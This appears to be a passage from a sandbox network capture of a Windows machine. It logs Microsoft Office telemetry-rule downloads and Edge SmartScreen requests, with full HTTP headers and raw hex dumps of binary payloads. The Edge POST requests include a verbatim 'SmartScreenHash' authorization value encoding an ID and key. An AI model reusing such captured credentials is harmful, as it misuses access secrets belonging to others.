2024-10-31 00:18:44 UTC	583	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:44 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 987dc28b-e01e-0066-2852-2ada5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T001844Z-17c5cb586f66g7mvgrudxte95400000003vg000000002113 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-31 00:18:44 UTC	15801	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-10-31 00:18:44 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:44 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001844Z-16849878b786fl7gm2qg4r5y7000000008z000000000pvrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49890	52.153.155.231	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49893	104.40.82.182	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSlNDajRRdjVBL1d4ZE9KNVFkajRHUT09IiwgImhhc2giOiJyOC8ySG8yWDVjaz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-31 00:18:44 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-31 00:18:44 UTC	252	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:44 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-31 00:18:44 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-10-31 00:18:44 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49897	104.40.82.182	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSlNDajRRdjVBL1d4ZE9KNVFkajRHUT09IiwgImhhc2giOiJyOC8ySG8yWDVjaz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
